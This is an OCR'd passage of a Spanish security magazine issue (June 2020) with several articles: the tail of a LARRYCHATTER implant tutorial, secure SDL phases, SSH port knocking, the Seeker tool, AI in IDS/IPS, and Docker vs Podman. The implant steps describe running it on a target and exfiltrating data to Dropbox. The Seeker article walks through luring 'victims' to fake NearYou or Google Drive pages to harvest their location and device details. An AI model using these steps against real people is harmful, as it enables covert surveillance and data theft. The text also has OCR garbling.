de Twitter creado y escribir esto para generar un ejecutable de Windows desde el script de Python:
pip install pyinstaller
pyinstaller -F -w LARRYCHATTER_Implant.py

5. Ejecutar el binario generado en el paso anterior en la VM de Windows.

6. Ejecutar el comando de reconocimiento en el Command Post y seguir las instrucciones en pantalla. En el repo se
incluye una imagen de muestra llamada caravaggio.jpg. El tamafio del archivo debe ser inferior a 5 MB para que
funcione la PoC.

7. Esperar un momento para que el implante haga su trabajo y recopile la informacién.

Comprobar en Dropbox el archivo ZIP exfiltrado, descargarlo y extraerlo en la maquina del operador.

9. Ejecutar el comando kill en el Command Post para cerrar el implante en la maquina de destino cuando haya
terminado.

10.Descifrar el archivo con la ayuda de decrypter.py y erjo)

®

Nota: ;No olvidar cambiar las claves de cifrado! I


https://github.com/slaeryan/LARRYCHATTER.git

DESARROLLO DE

SOFTWARE SEGURAOQ I

La seguridad informatica se ha convertido en una parte esencial de las empresas,
especialmente las empresas que se dedican al desarrollo de software, la razén detras
de esto son las amenazas constantes por entes externos como los hackers que
intentan robar la informacién o los activos digitales. Las empresas deben mantenery
resguardar su informacién aplicando controles de seguridad, de lo contrario esto
puede resultar en pérdidas financieras, afectacion en la continuidad del negocio, fuga
de informacién, dafios a la reputacién de la empresa, transacciones fraudulentas o
inclusive el cierre de la empresa por completo.

Escrito por: @ISRAEL_ABARCA EN COLABORACION CON UNDERCODE
Arquitecto de Seguridad de Aplicaciones y Desarrollador de Software Sr.
Auditor de seguridad en aplicaciones nube y escritorio, con conocimientos en las
tecnologias de Blockchain publicas y privadas, desarrollador de contratos
inteligentes en la red Hyperledger Fabric, Certificado con EC-Council como
Ingeniero en Seguridad de aplicaciones.
Contacto:
www.prometheodevs.com

a seguridad informatica no solo aplica para el software, una empresa debe ser
consiente que la seguridad se compone desde la parte fisica como las
instalaciones, equipos de cOmputo, los mismos trabajadores, asi como la parte
de infraestructura y redes. En este articulo nos enfocaremos en la seguridad
del software, sin embargo, es importante recalcar que no es suficiente aplicar
solamente seguridad en las aplicaciones. Para tener seguridad integral y
completa es necesario asegurar todas las partes de la solucion.

»y

[IN]SEGURIDAD
INFORMATICA

-
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undercOde.org
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En la edicion pasada hablamos sobre la seguridad de software y la metodologia del ciclo de vida del desarrollo
seguro (SDL) la cual fue desarrollada por Microsoft como parte del aseguramiento de sus productos que salen
al mercado.

También mencionamos las diferentes fases que tiene la metodologia y en esta ocasion, hablaremos de las
primeras 3 fases. Antes de iniciar con las fases es importante identificar los participantes y los roles que
deben tener cada uno de ellos. Es importante mencionar que depende de la magnitud del proyecto puede
haber mas o menos participantes, en este articulo pondremos como ejemplo a siete participantes, los cuales
llevaran a cabo las tareas necesarias de las diferentes fases. El primer participante es el que llevara el rol de
Arquitecto de Seguridad de Aplicaciones, parte de sus obligaciones es asegurarse de que las tareas de la
metodologia se lleven a cabo en tiempo y forma, asi como resolver dudas y asesorar al equipo en temas de
seguridad.

Una de las actividades importantes del arquitecto de seguridad es la formacién o entrenamiento inicial de
seguridad, la cual puede ser impartida por él o bien con personal capacitado externo. El siguiente participante
es quien lleva el rol de Arquitecto de Aplicacion y parte de sus obligaciones son la arquitectura del software
y en la metodologia de seguridad es quien trabaja en conjunto con el arquitecto de seguridad para llevar a
cabo las tareas de arquitectura y disefio seguro:

e El desarrollador es quien debe asegurarse que el software se codifique de manera segura y quien hace
las remediaciones de seguridad que involucran cédigo fuente, en caso de que se requiera.

e El rol de tester o la persona encargada de ejecutar pruebas funcionales de aplicacién no tiene una
participacion frecuente en la metodologia de desarrollo seguro, pero es necesario que participen en las
capacitaciones. Los testers pueden encontrar fallas de seguridad y quiza no lo sepan, asi que es necesario
involucrarlos en el proceso.

e Elsiguiente participante lleva el rol de Pentester, parte de sus obligaciones es llevar a cabo una serie de
pruebas de seguridad sobre el codigo fuente y la aplicacién funcional.

e Parala coordinacion de tareas esta el rol de Scrum Master quien apoya con la orquestacién del equipo
y estimaciones.

¢ Finalmente esta el arquitecto de seguridad en infraestructura quien lleva a cabo tareas de validacion y
seguridad enfocados al deployment y la infraestructura que necesitara el desarrollo.

Una vez que ya tenemos identificados a nuestros participantes y los roles que tienen cada uno de ellos
podemos empezar a revisar las fases. En esta edicion cubriremos la fase de Formacion, Requisitos y Disefio.

Disefio J>1mplementad‘6n' > Compmbadén Respuest; /
: y

Establecer requisitos Usar herramientas Analisis Plan de respuesta
de seguridad aprobadas dinamico a incidentes

Seguridad basica | Crear umbralesde § a,aji7ar superficie | Prohibir funciones Fuzz Revision de

Formacién calidad y limites deataques |  noseguras Testing seguridad final
[

tEvaicion de K Modelos de Anélisis Revisién de la Lanzamiento
8 g8 Seguriad riesgos estatico superficie Archivado
y privacidad de ataques
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En esta fase se requiere un entrenamiento de seguridad enfocado a los stakeholders del proyecto, este
entrenamiento es principalmente para alinear al equipo a tener un enfoque de seguridad. En el
entrenamiento normalmente se ven temas como la triada CIA (Confidencialidad, Integridad y Disponibilidad),
también se ven temas de ataques comunes al software, entender estos ataques y experiencias que se tenga
al respecto, un recurso que puede ayudar en este entrenamiento es el proyecto de OWASP el cual publica las
vulnerabilidades mas comunes en las aplicaciones y puede ser un buen punto de partida. La persona
responsable de impartir este entrenamiento normalmente es del arquitecto de seguridad de software, sin
embargo, puede ser por alguna persona capacitada interna o externa que tenga los conocimientos y/o
certificaciones. Se pueden llevar varios entrenamientos, inclusive certificaciones enfocadas a la seguridad en
sus diferentes areas seria lo ideal para cualquiera del equipo.

REQUERIMIENTOS

En esta fase de requerimientos se deben de generar tres entregables importantes, el primer entregable son
los requerimientos de seguridad, estos requerimientos deben ser especificamente de seguridad y no
funcionales del software. Deben ser como una linea base, algunos ejemplos son: tipo de criptografia que se
utilizara, sanitizacion de inputs, uso de librerias aprobadas, usar multifactor etc. Es importante identificar los
cumplimientos que se deben de tener como parte del desarrollo, por ejemplo: PCl, ISO, o algun estandar
requerido por el sistema. Este primer entregable puede ser de los arquitectos de aplicacién y seguridad y
muchas veces con la participacion del Project Manager. El segundo entregable son los umbrales de calidad
y limites de errores, aqui es importante definir los criterios al comienzo del proyecto ya que se
comprenderan mejor los riesgos asociados a los problemas de seguridad y los equipos podran corregirlos.
Esta tarea debe ser llevada por casi todo el equipo ya que se deben negociar los umbrales de calidad, como
por ejemplo podemos decir que un umbral sera que no debe haber vulnerabilidades criticas de Cross-Site
Scripting o bien que debe de haber una disponibilidad de la aplicacion del 98%. Estos umbrales son
importantes porque seran parte de la revision final y determinaran si fueron alcanzados o no. Finalmente, la
evaluacion de riesgos de seguridad y privacidad es el ultimo entregable de esta fase.

Es importante identificar las partes criticas del sistema y los procesos que van a requerir una revision mas
exhaustiva, por ejemplo:
e Partes del proyecto que van a requerir modelos de riesgos antes del lanzamiento.
e Partes del proyecto que van a requerir pruebas de penetracion.
e Requisitos de analisis o de pruebas adicionales que el asesor de seguridad considera necesarios para
mitigar los riesgos de seguridad.
e La privacidad de los datos o activos y su tratamiento en el sistema

Esta ultima actividad debe ser llevada a cabo por los arquitectos y el especialista de seguridad y en caso de
contar con una persona de gestion de sistemas de informacion puede servir de apoyo como auditor. Existen
formas de extraer requerimientos por medio de estrategias como casos de abuso y casos de seguridad, si
deseas aprender mas ello, te alentamos a seguir investigando por tus propios medios.
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DISENO

La fase de disefio se compone de tres actividades importantes y se llevan a cabo principalmente por los
arquitectos, la primera es establecer los requerimientos de disefo los cuales deben ser objetivos y no
confundirse con las caracteristicas de seguridad.

Se pueden tener caracteristicas de seguridad y ser inseguras, aqui debemos enfocarnos en componentes
seguros y bien disefiados como por ejemplo una implementacién criptograficamente robusta de bibliotecas
para los servicios de cifrado. En la siguiente tarea que es analisis de superficie de ataques, [o que se busca
es reducir la superficie de ataque mediante diferentes técnicas como: usuario de menor privilegio, medida
de defensa por capas, accesos a nivel aplicacién etc., y esta muy relacionada con el modelado de riesgos.

Por ultimo, la tarea de modelado de riesgos permite detectar los problemas de seguridad en el nivel de los
componentes o aplicaciones. Uno de los métodos mas utilizados es el modelado de amenazas, este se basa
en modelar los componentes del software, almacenamientos de datos, limites de confianza, flujo de datosy
dependencias externas que interactian con el sistema. Las primeras tareas de esta fase se complementan
mucho del modelado de riesgos ya que en base al modelado se pueden establecer requerimientos de disefio
y se buscaria reducir la superficie de ataques.

Revisemos los 4 pasos para el modelado de amenazas:
1. Preparar
a. Se crea la arquitectura y diagramas para que posteriormente se analicen. Los diagramas de flujo de
datos nos pueden ayudar mucho en este paso, al final de cuentas lo que queremos es proteger los
activos y los datos son los principales. Con esto podemos identificar a donde viajan los datos y el

tratamiento que se les puede dar para asegurarlos.
2. Analizar
a. Se analiza la arquitectura y basado en el modelo STRIDE se categorizan las amenazas encontradas.
3. Mitigaciones
a. Cada amenaza categorizada tiene una propiedad deseada de mitigacidon que principalmente se cubren
con la triada CIA (Confidencialidad, Disponibilidad e Integridad).
4. Validacion
a. Esuna actividad de retrospectividad, para asegurarse de que no se paso algo por alto, las validaciones
de seguridad se realizaran en la etapa de pruebas.

Es importante saber que algunas actividades pueden realizarse a la par o bien pueden llevar un orden un
poco diferente dependiendo como se acople el quipo, recordemos que la practica hace al maestro y una vez
que se inicie con la metodologia se detectan cuestiones que se pueden ir mejorando para agilizar las tareas
y los entregables. En resumen, lo que vimos en esta edicion es como puedo obtener los requerimientos de
seguridad del desarrollo en una etapa temprana y en base a estos requerimientos realizar un buen disefio
de seguridad que mitigue ciertas amenazas apoyandonos de modelos como STRIDE y técnicas de modelado

de amenazas.


https://es.wikipedia.org/wiki/Diagrama_de_flujo_de_datos
https://es.wikipedia.org/wiki/STRIDE_(seguridad)

PROTEGER ACCESO A

SERVIDORES S5H
IMPLEMENTADO
"PORT KNOCKING"

Acceder a servidores remotos requieren de proteccién extra, si bien podemos contar
con nuestras llaves ssh, vamos a mencionar algunas recomendaciones que deben ser
consideradas bajo su propia responsabilidad dependiendo de la arquitectura
disefiada para su infraestructura.

Escrito por: @GODWITHUS | USER UNDERCODE

Especialista en Seguridad Informatica, pentesting, bloguero de tiempo
incompleto.
Contacto:

underc0de.org/foro/profile/godwithus
Redes Sociales:

@mathias_abrahan

nicialmente vamos a cambiar el puerto por defecto del SSH de nuestro servidor,

vamos a modificar el archivo de configuracion e indicar el nuevo puerto 55000.

[IN]SEGURIDAD
INFORMATICA

14 n
Emmmm
-
- -
- n
EEEEw
--:--ﬂ —
- -
.9 ]
« & =
.
Emmmm
EEmmE
—
m—
—
—
—
m—
m—
(== ps
(C== O}

undercOde.org



UnderDOCS - Junio 2020, NUmero 11
vi /etc/ssh/sshd_config

SOpenBsD: sshd_config,v 1.100 2016/08,/15 12:32:04 naddy Exp $

This is the sshd server system-wide configuration file.
sshd_config(5) for more information.

This sshd was compiled with PATH=/usr/leocal/bin: /usr/bin

The strategy used for options in the default sshd_config shipped with
OpensSH is to specify options with their default wvalue where
possible, but leawve them commented. Uncommented options owverride the
default wvalue.

#
23
#
"

If you want to change the port on a SELinux system, wou have to tell
SELinux about this change.
semanage port -a -t ssh_port_t -p tcp #PORTNUMBER

HHEHBR

Port 55000
#AaddressFamily any
#ListenAddress 90.0.0.0
#ListenAddress ::

Una vez cambiado el puerto recargamos el servicio

systemctl reload sshd

La implementacion de knockd permite utilizar una secuencia de puertos para validar nuestro acceso al puerto
ssh que tengamos definido, entendiendo que esto puede ser un principio de seguridad por oscuridad bien
es una capa extra de seguridad, la dificultad para adivinar la secuencia de comandos va estar determinado
por el numero de puertos que implemente en un tiempo determinado. Al recibir una secuencia correcta de
intentos de conexion, las reglas del firewall se modifican en el servidor solicitado, permitiendo
temporalmente el acceso al servicio para el cliente solicitante, cerrando automaticamente la conexién en un
periodo de tiempo especifico.

El proceso de instalacion y configuracién de knockd requiere de conocimientos basicos para su puesta en
funcionamiento, primeramente, conocer el sistema donde vamos instalar la solucién.

SISTEMA OPERATIVO

cat /etc/redhat-release
Red Hat Enterprise Linux release 8.2 (Ootpa)

Debemos instalar firewalld y libpcap*

yum install firewalld -y
yum install libpcap* -y

Una vez instalado los paquetes requeridos para el funcionamiento, procedemos a descargar knockd.

wget http://1i.nux.ro/download/nux/misc/el7/x86 64//knock-server-0.7-1.el7.nux.x86 64.rpm

Una vez descargado el paquete lo instalamos.



http://li.nux.ro/download/nux/misc/el7/x86_64/knock-server-0.7-1.el7.nux.x86_64.rpm
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rpm -ivh knock-server-0.7-1.el7.nux.x86_64.rpm

warning: knock-server-0.7-1.el7.nux.x86_64.rpm: Header V4 RSA/SHA1 Signature, key ID
85c6cd8a: NOKEY
Verifying... #iHH I [100%]
Preparing... HiHHHHE [100% ]
Updating / installing...
1:knock-server-0.7-1.el7.nux  ####HHH## [100%]

Inicialmente debemos denegar todo el trafico a su servidor SSH con la siguiente instruccion:

® firewall-cmd --zone=public --remove-service=ssh --permanent
® firewall-cmd --reload

El proceso de configuracion de konckd se aplica directamente en el archivo de configuracion vi
/etc/knockd.confy va depender del criterio que consideremos aplicar.

[options]
LogFile = /var/log/port_knocking.log
Interface = NombreDelLalnterfaz

[opencloseSSH]
sequence = 2222:tcp,3333:tcp,4444:tcp
seq_timeout = 15
tcpflags = syn,ack

start_command = /bin/firewall-cmd --zone=public --add-rich-rule "rule family="ipv4"
source address="%IP%" service name="ssh" accept”
cmd_timeout = 10
stop_command =/bin/firewall-cmd --zone=public --remove-rich-rule "rule
family="ipv4" source address="%IP%" service name="ssh" accept"

e sequence: puede personalizar la secuencia de puertos.

e seq_timeout: Es el tiempo en segundos dentro del cual se debe completar toda la secuencia de
puertos definidos. De lo contrario, sera ignorado.

o tcpflags: Le indicara a klockd que escuche solo los paquetes que tienen un conjunto de banderas
especifico.

e cmd_timeout: Es el tiempo en segundos después del cual se ejecuta un comando deseado cuando se
activa por una secuencia correcta de puertos.
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Si queremos monitorear las conexiones de entrada de ssh gestionadas por el servicio de knockd podemos utilizar el
comando.

knockd -i ens33 -D -vv

config: new section: 'options'

config: log file: /var/log/port_knocking.log

config: new section: 'Ssh’

config: Ssh: sequence: 2222:tcp,3333:tcp,4444:tcp

config: Ssh: seq_timeout: 15

config: tcp flag: SYN

config: Ssh: start_command: /bin/firewall-cmd --zone=public --add-rich-rule "rule family="ipv4"
source address="%IP%" port port=55000 protocol=tcp accept”

config: Ssh: cmd_timeout: 10

config: Ssh: stop_command: /bin/firewall-cmd --zone=public --remove-rich-rule "rule family="ipv4"
source address="%IP%" port port=55000 protocol=tcp accept”

ethernet interface detected

Local IP: 172.16.121.145

Adding pcap expression for door 'Ssh': (dst host 172.16.121.145 and (((tcp dst port 2222 or 3333 or
4444) and tcp[tcpflags] & tcp-syn != 0)))

listening on ens33...

Para lograr la secuencia correcta de puertos que nos permita activar el servicio de SSH vamos a utilizar el cliente knock,
para nuestro caso utilizamos la secuencia de puertos 2222 3333 4444

knock 2222 3333 4444

Una vez ejecutemos la secuencia correcta podemos acceder al servicio de ssh, tomando en cuenta que tenemos un
tiempo para hacerlo cmd_timeout

ssh usuario@ip -p 55000

Del lado del servidor podemos ver los eventos que son ejecutados de parte del servicio SSH viendo el log definido para
el servicio del knockd

/var/log/port_knocking.log
Una buena practica que sumaria valor a la seguridad es implementando knockd en un servidor que nos pueda servir
como host bastion para acceder a una granja de servidores, restringiendo o limitando los accesos solo desde el Pivote

a nivel del firewall, para ello entendiendo lo anterior podremos acceder a los servidores utilizando el siguiente comando:

ssh -A usuario@ServidorRemoto -o 'proxycommand ssh -W %h:%p usuario@ServidorPivote -p 55000'


mailto:usuario@ip

SEEKER

Para geolocalizar cualquier dispositivo y extraer informacion sensible del
mismo, nos hara falta la herramienta seeker. El concepto detras de Seeker es
simple, al igual que alojamos paginas de phishing para obtener credenciales,
¢por qué no alojar una pagina falsa que solicita su ubicacion como muchos
sitios web populares basados en la ubicacién?

Escrito por: @DIEGOALTF4 | EN COLABORACION CON UNDERCODE
Entusiasta de la seguridad informatica y de la programacioén. “Si se puede
imaginar se puede programar”
Contacto:
diegoaltf4.com
Github: Diegoaltf4coder

Redes Sociales:
Telegram | instagram: diegoaltf4

| Buscador aloja una pagina web falsa en el servidor PHP incorporado

y utiliza Serveo para generar un enlace que reenviaremos al objetivo,
el sitio web pide permiso de localizacion y si el objetivo lo permite,
podremos obtener su geolocalizacién junto con:

e Longitud
e Latitud

GEOLOCALIZACION

1998
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e Precisién
e Altitud - No siempre disponible
e Velocidad - Sélo disponible si el usuario se estd moviendo
¢ Sistema Operativo
e Plataforma
e NUmero de nucleos de CPU
e Cantidad de RAM - Resultados aproximados
e Resolucién de la pantalla
e Informacién de la GPU
e Nombre y version del navegador
e Direccion IP publica
e Reconocimiento de la direccién IP

DESCARGAR LA HERRAMIENTA SEEKER®

iINnstalacion

git clone https://github.com/thewhiteh4t/seeker.git (descargamos el repositorio)

cd seeker/ (accedemos al directorio en el que se ha descargado)

chmod 777 install.sh (Esta opcién permite que todos los usuarios puedan leer, escribir y ejecutar en
el archivo o carpeta)

./install.sh (instalamos)

Y la otra herramienta que vamos a utilizar va a ser ngrok. También podéis utilizar otras alternativas
como localtunnel. La instalacion de ambos programas es muy sencilla.

Instalacién localtunnel

npm install -g localtunnel

Para lanzar el servidor en el puerto 8080:

npx localtunnel --port 8080

Instalacidén ngrok

Instalar ngrok* descargarlo y descomprimir:
unzip /ruta/de/ngrok.zip

Luego, conectar nuestra cuenta:

./ngrok authtoken <TU_AUTH_TOKEN>

Cuando ya tengamos todo listo, en un terminal lanzamos seeker. Vamos a ejecutarlo en modo manual ya que hay
muchas veces que Serveo esta caido:
python3 seeker.py -t manual

Si queremos generar un archivo ‘kml’ para posteriormente poder importarlo en Google Earth lo lanzamos con
el parametro -k:
python3 seeker.py -t manual -k prueba

Tenemos dos posibles plantillas: la primera con NearYou y la segunda con Google Drive.

3 github.com/thewhiteh4t/seeker
4 ngrok.com/download



https://github.com/thewhiteh4t/seeker
https://ngrok.com/download
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Si utilizamos Google Drive, necesitamos darle la url de algun archivo que tengamos en drive. En cambio, si
usamos NearYou no es necesario dar ningun tipo de url (pero es menos creible).
Cuando ya hayamos seleccionado una de las dos opciones nos aparecera el siguiente mensaje:

Y en un segundo terminal ejecutamos Ngrok (o cualquier otra alternativa) en el puerto 8080:
./ngrok http 80860
Nos aparecera una ventana en la que veremos la url publica de nuestro servidor local.

ngrok by @inconshreveable (Ctr1+C to quit)

Account diego (Plan: Free)
Version 2339
Region United States (us)

Web Interface http://127.0.0.1:4040
Forwarding http://7d5b0800.ngrok.i0 — http://localhost:8080
Forwarding https://7d5b0800.ngrok.10 — http://localhost:8080

Connections ttl opn rtl rts p5@
0 (%) 0.00 0.00 0.00

Esa es la direccidon a la que tiene que acceder nuestra “victima”.
Si utilizamos la opcion de “Near You”
Cuando acceda a la URL le aparecera el siguiente mensaje:

Find People Near You

Meet New People, Make New Friends

Continue

Tendra que darle a “Continue” y aparecera la siguiente notificacion.

Will you allow b1bf8eb6.ngrok.io to access your
location?

Learn more...

Remember this decision

Don’t Allow Allow Location Access
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Si la “victima” permite el acceso a la localizacién le aparecera el siguiente mensaje:

Thankyou For Taking Interest in Near You...This Product is
Coming Soon...

Y ya tendriamos acceso a toda la informacién. Si utilizamos la opcion de google drive. La “victima” tendra que
darle “Request access".

Google Drive

You need permission

Want in? Ask for access, or switch to an account with permission.

Request access

Y de nuevo nos pedira acceso a la ubicacion. Si la “victima” permite el acceso a la localizacién ya tendremos toda la
informacion.

Will you allow b1bf8eb6.ngrok.io to access your
location?

Remember this decision

Don’t Allow Allow Location Access

Es mas creible cuando usamos Google Drive, ya que si el usuario permite el acceso a la ubicacion le redirigira al
documento que hayamos compartido, pero en ambos casos tendremos que usar ingenieria social. Este es un ejemplo

de lo que veria la “victima”.

» Google Drive - Acce x + =

< > C o 14f15eae.ngrok.io B bk v IN D &

Kali Linux Kali Training KaliTools # Kali Docs Kali Forums NetHunter

Google Drive

You need permission

Want in? Ask for access, or switch to an account with permission.
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OBTENER LA INFORMACION

Una vez hemos conseguido que la “victima” permita el acceso a la ubicacion. En la terminal en la que hemos
ejecutado seeker veremos la siguiente informacién:

Tendremos acceso al:

1.

WooNOOUL A WN

Sistema Operativo

Plataforma

NUmero de nucleos de CPU

Cantidad de RAM - Resultados aproximados
Resolucién de la pantalla

Informacién de la GPU

Nombre y versién del navegador

Direccién IP publica

Reconocimiento de la direccion IP

Toda esta informacion también la obtendremos, aunque el usuario no permita el acceso a la ubicacién. Si lo permite,
también tendremos la Latitud, Longitud y un enlace de Google Maps dénde podremos ver dénde se encuentra la
“victima".

También se nos crea un archivo ‘csv' con toda esta informacion en la ruta /seeker/db/.

Por ultimo, si hemos generado un archivo ‘kml’ podremos abrirlo con Google Earth en Proyectos > Abrir

Y podremos ver la animacién de donde se encuentra nuestra “victima”.




INTELIGENCIA

ARTIFICIAL
APLICADA A IDS/IPS

INTELIGENCIA
ARTIFICIAL

La inteligencia artificial y el machine learning son las palabras que mas impacto estan
teniendo los Ultimos afos, y su abanico de aplicaciones es mucho mas grande de lo .2—m
que se pensod en un principio, ya que esta siendo aplicado en sectores como salud, —
transporte, economia e investigacion. La ciberseguridad como rama de la tecnologia EEm==
que busca proteger la informacién de las personas y de las empresas, asi como de
los gobiernos no ha sido la excepcién y se esta volcando gradualmente a aplicar la

inteligencia artificial en sus procesos. ;2 =

Escrito por: @CLOUDSWX | COLABORADOR UNDERCODE
Analista Ciberseguridad / Tutor, sus hobbies favoritos son tocar guitarra, jugar STTTT
ajedrez, escribir y crear videotutoriales.

Contacto:
undercOde.org/foro/profile/Cloudswx " % : =
Redes sociales: m B
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0s sistemas de deteccion y prevencion de intrusos IPS/IDS (Intrusion
Prevention System / Intrusién Detection System) buscan por un lado evitar el
acceso de amenazas a la red y en caso de que se produzcan detectarlas a
tiempo para mitigar el ataque en la mayor brevedad posible. En el ambito del
Open Source tenemos a Snort, un patriarca que tiene mas de 20 afios W
protegiendo nuestros sistemas y que hoy por hoy es la solucién Open Source

mas utilizada, seguido de cerca por Suricata, pero que es todo esto de IPS/IDS?

Ok, vamos a explicarlo de la forma mas sencilla posible.

undercOde.org
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IPS
Explicados de forma sencilla podriamos definir un IPS como un Firewall que permite, filtrar, bloquear o
redirigir el trafico de acuerdo a normas y reglas preestablecidas de una forma muy rigida y poco flexible.

IDS

De la misma forma un IDS podemos definirlo como un sistema o aplicacion que busca detectar cualquier
evidencia de intrusion dentro de la red, este esta configurado con una serie de posibles patrones y reglas
establecidas.

PROBLEMATICA

Pues que en ambos casos estas reglas, patrones y normas preestablecidas son conocidas como firmas de
ataques y no son para nada flexibles, lo que las hace vulnerables a cualquier tipo de variante en un ataque,
esa incapacidad de adaptarse se ha convertido en su mayor debilidad ya que cada vez mas acciones tan
sencillas como escanear un objetivo son ofuscadas con técnicas de Decoy (escaneos con sefiuelos) que
confunde al sistema, incapaz de salir de las reglas preestablecidas. Y un exceso de reglas lleva
inevitablemente a un aumento significativo en los falsos positivos (falsas alarmas) y la forma en que como
estos impactan el esquema de negocios de la infraestructura que estamos protegiendo.

soLucion

Cuando se construyo el modelo TCP/IP y la Internet nada de eso fue pensado para que fuese seguro, ya que
apenas estabamos hablando de unos cuanto equipos conectados entre si que buscaban compartir
informacion, por lo que podemos decir que la red es insegura desde su nacimiento, luego llegaron los
sistemas de defensa y deteccidn de intrusos que se acoplaron a lo que ya existia adoptando un esquema de
defensa basado en firmas de ataque, la solucion a ese problema de ayer es sin duda incorporar la inteligencia
artificial mediante Redes Neuronales Artificiales (RNA) para un analisis mas bien enfocado a Behaviors
(conductas) en vez de firmas de ataque.

Tomando datos como:
e Elnumero de intentos de conexion enviados y recibidos por cada direccion IP.
e Tiempo entre dichos intentos
e Cantidad de respuestas enviadas por una direccidon IP que indica el estado de un puerto especifico.
e Resultados de consultas con bases de datos de ataques conocidos y bloques de direcciones
reportadas en APT (Advance Persistant Threats).

Asignamos valores a cada conjunto de datos creando nuevos subconjuntos que permiten generar sets de
entrenamiento para la red neuronal, esto no solo permite mayor flexibilidad ante la deteccion de alguna
variante de ataque si no que permite el aprendizaje supervisado de la RNA.

Como valor agregado podemos plantear la reduccion de la carga administrativa al delegar en gran parte la
tarea de crear y modificar reglas a nuestro aliado: La inteligencia artificial.

Grandes empresas como Microsoft, Cisco en alianza con Sophos y Google estan apostando a esta nueva
tendencia que promete cambiar el panorama de los sistemas de prevencion y deteccidon de intrusos.



CONTAINERS:
DOCKER VS.
PODMAN

En la actualidad, y después de ver el alcance de la informatica y la necesidad que hay
en proteger y optimizar los contextos donde ésta se desenvuelva, mucho es lo que se
ha hecho, incluso recientemente en este aspecto. Tal es el caso de la digitalizacion de
entornos fisicos a través de maquinas virtuales tradicionales, hasta llegar mas
recientemente a nuevas tecnologias de virtualizacion con el uso de containers, como
son Docker y Podman.

Escrito por: @LRAMOS EN COLABORACION CON UNDERCODE
Ingeniero de Sistemas, enfocado en las areas de IT, Seguridad y Ciencias de

la comunicacion. Interesado en el desarrollo y supervision de la seguridad
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standares estructurados sobre proyectos de seguridad en plataformas IT,
actualmente desarrollandose como Security Risk & Compliance Manager -

LATAM. Fiel defensor de espacios tecnol6gicos contextualizados en la seguridad de la

informacién que cubran las necesidades de los usuarios y fomenten/difundan nuevos

hallazgos en este campo.
Contacto:

WWW.Secu rit—sense.com

iendo que una maquina virtual es basicamente un software que permite al
usuario

aislarse, a conveniencia, del sistema operativo subyacente y a su vez, o no,
compartirlo y a su contenido entre varias otras aplicaciones, debemos entender
que la tecnologia Docker va mas alla de las maquinas virtuales,

independientemente del tamafio de éstas a nivel conceptual o en la practica.
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Ahora, teniendo en mente que la virtualizacion entonces es la tecnologia que le permite al usuario poder compartir
una misma infraestructura de hardware sobre la cual pueda instalar y ejecutar varios sistemas operativos que
puedan funcionar de manera totalmente independiente, se ha incluido ahora una tecnologia mas reciente que,
mas alla de sus ventajas y desventajas, a ser ampliadas mas adelante, viene para aportar una nueva Optica sobre
la interaccién de servicios informaticos con el usuario.

Es entonces cuando entran en el juego tecnologias mas modernas y amigables como la de Containers, que de igual
manera “virtualizar” los servicios de un sistema operativo sobre otro, pero sin la necesidad de virtualizar todo el
sistema operativo involucrado para poder ejecutar las aplicaciones no nativas del mismo.

Evidentemente, y como se dan en el uso y evolucion de toda tecnologia, la virtualizacién mediante hipervisores o
contenedores, define sus ventajas y desventajas dependiendo del entorno en el que se desarrolley al fin al que se
le encamine. En primera instancia y como una de las primeras ventajas se encuentra la posibilidad de aislamiento
y lo que esto pueda significar para la seguridad de sus sistemas y/o aplicaciones que el usuario este manejando.

Por otro lado, estas mismas tecnologias de virtualizacion basadas en contenedores favorecen la flexibilidad y la
agilidad del trabajo, asi como su operatividad. En ese mismo orden de ideas, la virtualizacion permite solventar
problemas que resultan de la compatibilidad de los programas, también, al ser de uso y manejo independiente,
hace posible la clonacion y migracion de sistemas en caliente, dandole al usuario mayor alcance en distintos
contextos o entornos de prueba.

Entonces, independientemente de los pros y los contras que puedan resultar de las tecnologias de virtualizacion
basadas en contenedores, estas definitivamente son una excelente solucion informatica que brinda un éptimo
aprovechamiento de los recursos de hardware de los que disponen los usuarios, punto que también ampliaremos
en lineas posteriores.

.Y DE QUE TRATAN LAS TECNOLOGIAS DOCKER ¥ PODMANT?

En virtud de la optimizacion del hardware y del mejor manejo y control de los elementos l6gicos de los
distintos entornos de los dispositivos, las tecnologias de virtualizaciéon basada en contenedores han venido a
constituir, en su creciente popularidad, una muy buena alternativa al uso de los hipervisores, de modo que,
entre otras cosas, un usuario tenga la posibilidad de colocar mas servicios en un solo servidor fisico, por
ejemplo, que maquinas virtuales en el mismo espacio fisico.

Ahora, por un lado, y comenzando por la tecnologia Docker, los usuarios que utilizan esta herramienta saben
que un proceso daemon esta corriendo constantemente para servir a todos los comandos que se soporten
en Docker. Sin lugar a dudas una gran idea al comienzo, cuando se vio todo lo que Docker podia realizar en
un solo lugar.

Con Docker se puede entonces manejar de manera independiente todas las imagenes existentes en un
registro de imagenes, estas mismas imagenes se pueden copiar en un registro contenedor local ademas de
afadir o modificar capas a esos contenedores. Docker también brinda la posibilidad de administrar las
imagenes dentro de los registros de imagenes e incluso, con el acceso que se tiene al kernel, se pueden hacer
operaciones también de manera aislada e inmediata.
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Comenzando por el enfoque basado en el aislamiento de los sistemas de archivo de los contenedores, al
principio, las tecnologias de virtualizacién comenzaron haciendo uso 6ptimo de este aislamiento. Con la
evolucién de los mismos, las nuevas arquitecturas siguieron desarrollandose en las particiones vy la
asignacién de recursos de hardware, almacenamiento y red a los contenedores existentes, lo cual le da al
usuario mayor seguridad y mejor desempefio colaborativo dentro de un mismo Servidor.

Grandes pasos dados dentro de los sistemas operativos basados en Unix/Linux en las tecnologias de
virtualizacion basada en contenedores, hoy en dia han permitido la actualizacion de herramientas como
Docker y Podman, basicamente disefiadas en el marco técnico de los contenedores para el aislamiento y
control de recursos y de su manera de operar.

En su punto mas primitivo, un contenedor es un entorno informatico de ejecucion completo. Se le podria ver
como un paquete de elementos que proveen al usuario de la posibilidad de ejecutar determinada aplicacién
0 “microservicid’ en cualquier sistema operativo. Esta tecnologia agrupa y aisla, aplicaciones o grupos de
aplicaciones que pueden ser ejecutadas sobre un mismo nucleo de un sistema operativo.

sepun el portal web de Hewlett packards enterprise,

“Los contenedores de aplicaciones son entornos ligeros en
tiempo de ejecucion gue proporcionan a las aplicaciones los
archivos, las variables y las bibliotecas gue necesitan para
ejecutarse, maximizando de esta farma su portabilidad.

Entonces uno podria preguntarse: ;qué diferencia hay entre esta tecnologia de virtualizacion de la de los
hipervisores? Esto también lo visualiza HPE como una posible duda en los usuarios y continda con una
pequefa extension del concepto de contenedores afirmando que:

“Si bien las mdquinas virtuales (vm) tradicionales permiten la virtualizacion de la
infraestructura de computacion, los contenedores habilitan la de las aplicaciones de
